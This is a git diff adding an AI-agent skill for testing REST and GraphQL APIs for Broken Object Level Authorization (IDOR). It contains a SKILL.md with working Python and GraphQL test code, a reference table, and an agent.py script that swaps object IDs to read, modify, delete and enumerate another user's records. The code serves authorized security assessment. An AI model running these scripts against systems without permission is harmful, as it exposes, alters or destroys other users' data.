shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/testing-api-for-broken-object-level-authorization/SKILL.md b/.claude/skills/testing-api-for-broken-object-level-authorization/SKILL.md new file mode 100644 index 0000000..45ea679 --- /dev/null +++ b/.claude/skills/testing-api-for-broken-object-level-authorization/SKILL.md @@ -0,0 +1,392 @@ +--- +name: testing-api-for-broken-object-level-authorization +description: 'Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR, + OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric + IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users + to check whether the server enforces per-object authorization. Use when asked to + test BOLA or IDOR in an API, verify object-level authorization, or assess an API + for access control bypass. + + ' +domain: cybersecurity +subdomain: api-security +tags: +- api-security +- owasp +- bola +- idor +- authorization +- rest-security +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1552.001 +- T1027 +- T1070 +--- +# Testing API for Broken Object Level Authorization + +## When to Use + +- Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies +- Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested +- Testing multi-tenant SaaS applications where users from different tenants should not access each other's data +- Validating that API endpoints enforce per-object authorization checks beyond just authentication +- Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently + +**Do not use** without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission. + +## Prerequisites + +- Written authorization specifying the target API endpoints and scope of testing +- At least two test accounts with different privilege levels and distinct data sets +- Burp Suite Professional or OWASP ZAP configured as an intercepting proxy +- Authentication tokens (JWT, session cookies, API keys) for each test account +- API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints +- Python 3.10+ with `requests` library for scripted testing +- Autorize Burp extension installed for automated BOLA detection + +## Workflow + +### Step 1: API Endpoint Discovery and Object ID Mapping + +Enumerate all API endpoints and identify parameters that reference objects: + +**From OpenAPI/Swagger Specification:** +```bash +# Download and parse the OpenAPI spec +curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool + +# Extract all endpoints with path parameters +curl -s https://target-api.example.com/api/docs/swagger.json | \ + python3 -c " +import json, sys +spec = json.load(sys.stdin) +for path, methods in spec.get('paths', {}).items(): + for method, details in methods.items(): + if method in ('get','post','put','patch','delete'): + params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')] + if params: + print(f'{method.upper()} {path} -> params: {params}') +" +``` + +**From Burp Suite Traffic:** +1. Browse the application as User A, exercising all features that involve data creation and retrieval +2. In Burp, go to Target > Site Map and filter for API paths (e.g., `/api/v1/`, `/graphql`) +3. Look for patterns: `/api/v1/users/{id}`, `/api/v1/orders/{order_id}`, `/api/v1/documents/{doc_uuid}` +4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values + +**Classify Object ID Types:** + +| ID Type | Example | Predictability | BOLA Risk | +|---------|---------|---------------|-----------| +| Sequential Integer | `/orders/1042` | High - increment/decrement | Critical | +| UUID v4 | `/orders/550e8400-e29b-41d4-a716-446655440000` | Low - random | Medium (if leaked) | +| Encoded/Hashed | `/orders/base64encodedvalue` | Medium - decode and predict | High | +| Composite | `/users/42/orders/1042` | High - multiple IDs to swap | Critical | +| Slug | `/profiles/john-doe` | Medium - guess usernames | High | + +### Step 2: Baseline Request Capture with Authenticated User + +Capture legitimate requests for User A and User B: + +```python +import requests + +BASE_URL = "https://target-api.example.com/api/v1" + +# User A credentials +user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." +user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"} + +# User B credentials +user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." +user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"} + +# Step 1: Identify User A's objects +user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers) +user_a_id = user_a_profile.json()["id"] # e.g., 1001 + +user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers) +user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002] + +# Step 2: Identify User B's objects +user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers) +user_b_id = user_b_profile.json()["id"] # e.g., 1002 + +user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers) +user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004] + +print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}") +print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}") +``` + +### Step 3: BOLA Testing - Horizontal Privilege Escalation + +Attempt to access User B's objects using User A's authentication: + +```python +import json + +results = [] + +# Test 1: Access User B's profile with User A's token +resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers) +results.append({ + "test": "Access other user profile", + "endpoint": f"GET /users/{user_b_id}", + "auth": "User A", + "status": resp.status_code, + "vulnerable": resp.status_code == 200, + "data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None +}) + +# Test 2: Access User B's orders with User A's token +for order_id in user_b_order_ids: + resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers) + results.append({ + "test": f"Access other user order {order_id}", + "endpoint": f"GET /orders/{order_id}", + "auth": "User A", + "status": resp.status_code, + "vulnerable": resp.status_code == 200 + }) + +# Test 3: Modify User B's order with User A's token +resp = requests.patch( + f"{BASE_URL}/orders/{user_b_order_ids[0]}", + headers=user_a_headers, + json={"status": "cancelled"} +) +results.append({ + "test": "Modify other user order", + "endpoint": f"PATCH /orders/{user_b_order_ids[0]}", + "auth": "User A", + "status": resp.status_code, + "vulnerable": resp.status_code in (200, 204) +}) + +# Test 4: Delete User B's resource with User A's token +resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers) +results.append({ + "test": "Delete other user order", + "endpoint": f"DELETE /orders/{user_b_order_ids[0]}", + "auth": "User A", + "status": resp.status_code, + "vulnerable": resp.status_code in (200, 204) +}) + +# Print results +for r in results: + status = "VULNERABLE" if r["vulnerable"] else "SECURE" + print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}") +``` + +### Step 4: Advanced BOLA Techniques + +Test for less obvious BOLA patterns: + +```python +# Technique 1: Parameter pollution - send both IDs +resp = requests.get( + f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}", + headers=user_a_headers +) +print(f"Parameter pollution: {resp.status_code}") + +# Technique 2: JSON body object ID override +resp = requests.post( + f"{BASE_URL}/orders/details", + headers=user_a_headers, + json={"order_id": user_b_order_ids[0]} +) +print(f"Body ID override: {resp.status_code}") + +# Technique 3: Array of IDs - include other user's IDs in batch request +resp = requests.post( + f"{BASE_URL}/orders/batch", + headers=user_a_headers, + json={"order_ids": user_a_order_ids + user_b_order_ids} +) +print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders") + +# Technique 4: Numeric ID manipulation for sequential IDs +for offset in range(-5, 6): + test_id = user_a_order_ids[0] + offset + if test_id not in user_a_order_ids: + resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers) + if resp.status_code == 200: + owner = resp.json().get("user_id", "unknown") + if str(owner) != str(user_a_id): + print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A") + +# Technique 5: Swap object ID in nested resource paths +resp = requests.get( + f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice", + headers=user_a_headers +) +print(f"Nested resource BOLA: {resp.status_code}") + +# Technique 6: Method switching - GET may be blocked but PUT allowed +for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']: + resp = requests.request( + method, + f"{BASE_URL}/users/{user_b_id}/settings", + headers=user_a_headers, + json={"notifications": False} if method in ('PUT', 'PATCH') else None + ) + if resp.status_code not in (401, 403, 405): + print(f"Method {method} on other user settings: {resp.status_code}") +``` + +### Step 5: Automated BOLA Detection with Autorize (Burp Suite) + +Configure Autorize for automated detection: + +1. Install Autorize from the BApp Store in Burp Suite Professional +2. In the Autorize tab, paste User B's authentication cookie or header +3. Configure the interception filters: + - Include: `.*\/api\/.*` (only API paths) + - Exclude: `.*\.(js|css|png|jpg)$` (skip static assets) +4. Set the enforcement detector: + - Add conditions where response length or status code differs between User A and User B + - Mark as "enforced" if User A gets 403/401 for User B's resources + - Mark as "bypassed" if User A gets 200 with User B's data +5. Browse the application as User A; Autorize automatically replays each request with User B's token +6. Review the Autorize results table: + - Green = Authorization enforced (secure) + - Red = Authorization bypassed (BOLA vulnerability) + - Orange = Needs manual review (ambiguous response) + +### Step 6: GraphQL BOLA Testing + +```graphql +# Test BOLA in GraphQL queries using node/ID relay pattern +# User A queries User B's order by global relay ID +query { + node(id: "T3JkZXI6NTAwMw==") { # Base64 of "Order:5003" (User B's) + ... on Order { + id + totalAmount + shippingAddress { + street + city + } + items { + productName + quantity + } + } + } +} + +# Test nested object access through relationships +query { + user(id: "1002") { # User B's ID + email + phoneNumber + orders { + edges { + node { + id + totalAmount + paymentMethod { + lastFourDigits + } + } + } + } + } +} +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **BOLA** | Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request | +| **IDOR** | Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks | +| **Horizontal Privilege Escalation** | Accessing resources belonging to another user at the same privilege level by manipulating object identifiers | +| **Vertical Privilege Escalation** | Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints) | +| **Object ID Enumeration** | Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values) | +| **Autorize** | A Burp Suite extension that automates authorization testing by replaying requests with different user tokens | + +## Tools & Systems + +- **Burp Suite Professional**: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing +- **OWASP ZAP**: Open-source alternative with Access Control Testing add-on for authorization boundary testing +- **Autorize**: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts +- **Postman**: API testing platform for crafting and replaying requests with different authentication tokens across collections +- **ffuf**: Web fuzzer that can enumerate object IDs at scale: `ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"` + +## Common Scenarios + +### Scenario: E-Commerce API BOLA Assessment + +**Context**: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002). + +**Approach**: +1. Map all endpoints from the Swagger spec at `/api/docs`: identify 47 endpoints, 23 of which take object IDs +2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist +3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints +4. Find that `GET /api/v1/orders/{id}` returns any order regardless of ownership (BOLA on read) +5. Find that `PATCH /api/v1/addresses/{id}` allows modifying any user's address (BOLA on write) +6. Find that `GET /api/v1/users/{id}/payment-methods` leaks payment card last-four digits for any user +7. Test batch endpoint `POST /api/v1/orders/export` - accepts array of order IDs and exports all without ownership check +8. Verify that `DELETE /api/v1/orders/{id}` correctly returns 403 for non-owned orders (authorization enforced) + +**Pitfalls**: +- Only testing GET requests and missing BOLA in PUT/PATCH/DELETE methods that allow data modification or destruction +- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters +- Not testing nested resource paths where authorization may be checked on the parent but not the child resource +- Missing BOLA in bulk/batch endpoints that accept arrays of object IDs +- Not considering that different API versions (v1 vs v2) may have different authorization implementations + +## Output Format + +``` +## Finding: Broken Object Level Authorization in Order API + +**ID**: API-BOLA-001 +**Severity**: High (CVSS 7.5) +**OWASP API**: API1:2023 - Broken Object Level Authorization +**Affected Endpoints**: + - GET /api/v1/orders/{id} + - PATCH /api/v1/addresses/{id} + - GET /api/v1/users/{id}/payment-methods + - POST /api/v1/orders/export + +**Description**: +The API does not enforce object-level authorization on order retrieval, +address modification, payment method viewing, or order export endpoints. +An authenticated user can access or modify any other user's resources by +substituting object IDs in the request. Sequential integer IDs make +enumeration trivial. + +**Proof of Concept**: +1. Authenticate as User A (ID 1001): POST /api/v1/auth/login +2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate) +3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details) +4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed) + +**Impact**: +- Read access to all 850,000+ customer orders including shipping addresses and order contents +- Write access to any customer's delivery address, enabling package redirection +- Exposure of partial payment card data for all customers + +**Remediation**: +1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource +2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id` +3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone) +4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs +5. Implement rate limiting per user to slow enumeration attempts +``` diff --git a/.claude/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md b/.claude/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md new file mode 100644 index 0000000..18165ae --- /dev/null +++ b/.claude/skills/testing-api-for-broken-object-level-authorization/references/api-reference.md @@ -0,0 +1,54 @@ +# API Reference: Testing API for Broken Object Level Authorization + +## BOLA Test Types + +| Test | Method | Severity | +|------|--------|----------| +| Horizontal read | GET victim's resource with attacker token | High | +| Horizontal write | PATCH/PUT victim's resource | Critical | +| Horizontal delete | DELETE victim's resource | Critical | +| ID enumeration | Sequential/predictable ID access | High | +| Method bypass | Different HTTP methods on same resource | High | +| Batch request | Include victim IDs in batch endpoint | High | +| Nested resource | Access child via parent swap | High | + +## Object ID Types + +| Type | Example | Predictability | +|------|---------|---------------| +| Sequential integer | `/orders/1042` | High | +| UUID v4 | `/orders/550e8400-...` | Low | +| Encoded/base64 | `/orders/MTAwMg==` | Medium | +| Composite | `/users/42/orders/1042` | High | +| Slug | `/profiles/john-doe` | Medium | + +## OWASP API1:2023 Checks + +| Check | Description | +|-------|-------------| +| Per-object authorization | Every object access checks ownership | +| Data-layer enforcement | WHERE user_id = authenticated_user.id | +| Rate limiting | Slow enumeration attempts | +| UUID over sequential | Reduce predictability | +| Batch endpoint auth | Validate all IDs in arrays | + +## Automated Tools + +| Tool | Purpose | +|------|---------| +| Autorize (Burp) | Automated BOLA detection | +| OWASP ZAP Access Control | Authorization boundary testing | +| ffuf | ID enumeration at scale | +| Postman | Manual BOLA testing | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | HTTP API calls | +| `json` | stdlib | Response parsing | + +## References + +- OWASP API Security: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/ +- Autorize: https://github.com/Quitten/Autorize diff --git a/.claude/skills/testing-api-for-broken-object-level-authorization/scripts/agent.py b/.claude/skills/testing-api-for-broken-object-level-authorization/scripts/agent.py new file mode 100644 index 0000000..da34ea1 --- /dev/null +++ b/.claude/skills/testing-api-for-broken-object-level-authorization/scripts/agent.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +"""Agent for testing APIs for Broken Object Level Authorization (BOLA). + +Tests REST and GraphQL APIs for IDOR/BOLA vulnerabilities by +systematically swapping object IDs between authenticated users +to detect missing per-object authorization checks. OWASP API1:2023. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class BOLATestAgent: + """Tests APIs for Broken Object Level Authorization.""" + + def __init__(self, base_url, output_dir="./bola_test"): + self.base_url = base_url.rstrip("/") + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _req(self, method, path, headers=None, data=None, timeout=10): + if not requests: + return None + try: + return requests.request(method, f"{self.base_url}{path}", + headers=headers, json=data, timeout=timeout) + except requests.RequestException: + return None + + def get_user_objects(self, token, profile_path="/users/me", objects_path="/orders"): + """Retrieve a user's ID and owned object IDs.""" + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + profile_resp = self._req("GET", profile_path, headers=headers) + if not profile_resp or profile_resp.status_code != 200: + return None, [] + + user_data = profile_resp.json() + user_id = user_data.get("id") + + objects_resp = self._req("GET", objects_path, headers=headers) + object_ids = [] + if objects_resp and objects_resp.status_code == 200: + data = objects_resp.json() + items = data if isinstance(data, list) else data.get("items", data.get("data", data.get("orders", []))) + object_ids = [item.get("id") for item in items if item.get("id")] + + return user_id, object_ids + + def test_horizontal_read(self, attacker_token, victim_object_ids, resource_path="/orders"): + """Test if attacker can read victim's objects.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + results = [] + for oid in victim_object_ids: + resp = self._req("GET", f"{resource_path}/{oid}", headers=headers) + vulnerable = resp and resp.status_code == 200 + result = { + "test": f"Read {resource_path}/{oid}", + "status": resp.status_code if resp else "error", + "vulnerable": vulnerable, + } + if vulnerable: + self.findings.append({ + "severity": "high", + "type": "BOLA Read", + "detail": f"GET {resource_path}/{oid} returns other user's data", + "owasp": "API1:2023", + }) + results.append(result) + return results + + def test_horizontal_write(self, attacker_token, victim_object_ids, + resource_path="/orders", payload=None): + """Test if attacker can modify victim's objects.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + test_payload = payload or {"status": "cancelled"} + results = [] + for oid in victim_object_ids: + resp = self._req("PATCH", f"{resource_path}/{oid}", + headers=headers, data=test_payload) + vulnerable = resp and resp.status_code in (200, 204) + result = { + "test": f"Modify {resource_path}/{oid}", + "method": "PATCH", + "status": resp.status_code if resp else "error", + "vulnerable": vulnerable, + } + if vulnerable: + self.findings.append({ + "severity": "critical", + "type": "BOLA Write", + "detail": f"PATCH {resource_path}/{oid} modifies other user's data", + "owasp": "API1:2023", + }) + results.append(result) + return results + + def test_horizontal_delete(self, attacker_token, victim_object_id, + resource_path="/orders"): + """Test if attacker can delete victim's object.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + resp = self._req("DELETE", f"{resource_path}/{victim_object_id}", headers=headers) + vulnerable = resp and resp.status_code in (200, 204) + if vulnerable: + self.findings.append({ + "severity": "critical", + "type": "BOLA Delete", + "detail": f"DELETE {resource_path}/{victim_object_id} destroys other user's data", + "owasp": "API1:2023", + }) + return {"test": f"Delete {resource_path}/{victim_object_id}", + "status": resp.status_code if resp else "error", + "vulnerable": vulnerable} + + def test_id_enumeration(self, attacker_token, known_id, resource_path="/orders", + range_offset=5): + """Test sequential ID enumeration.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + accessible = [] + for offset in range(-range_offset, range_offset + 1): + test_id = known_id + offset + if test_id == known_id: + continue + resp = self._req("GET", f"{resource_path}/{test_id}", headers=headers) + if resp and resp.status_code == 200: + accessible.append(test_id) + if accessible: + self.findings.append({ + "severity": "high", + "type": "ID Enumeration", + "detail": f"Sequential IDs accessible: {accessible[:5]}", + }) + return accessible + + def test_method_bypass(self, attacker_token, victim_object_id, + resource_path="/users"): + """Test if different HTTP methods bypass authorization.""" + headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"} + results = [] + for method in ["GET", "PUT", "PATCH", "DELETE", "HEAD"]: + data = {"name": "test"} if method in ("PUT", "PATCH") else None + resp = self._req(method, f"{resource_path}/{victim_object_id}", + headers=headers, data=data) + if resp and resp.status_code not in (401, 403, 404, 405): + results.append({"method": method, "status": resp.status_code}) + self.findings.append({ + "severity": "high", + "type": "Method Bypass", + "detail": f"{method} {resource_path}/{victim_object_id} -> {resp.status_code}", + }) + return results + + def generate_report(self, attacker_token=None, victim_ids=None): + read_results = [] + write_results = [] + if attacker_token and victim_ids: + read_results = self.test_horizontal_read(attacker_token, victim_ids) + write_results = self.test_horizontal_write(attacker_token, victim_ids) + + report = { + "report_date": datetime.utcnow().isoformat(), + "base_url": self.base_url, + "read_tests": read_results, + "write_tests": write_results, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "bola_test_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ] [--victim-ids 1,2,3]") + sys.exit(1) + url = sys.argv[1] + token = None + victim_ids = [] + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + if "--victim-ids" in sys.argv: + victim_ids = [int(x) for x in sys.argv[sys.argv.index("--victim-ids") + 1].split(",")] + agent = BOLATestAgent(url) + agent.generate_report(token, victim_ids) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/testing-api-security-with-owasp-top-10/LICENSE b/.claude/skills/testing-api-security-with-owasp-top-10/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/testing-api-security-with-owasp-top-10/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, 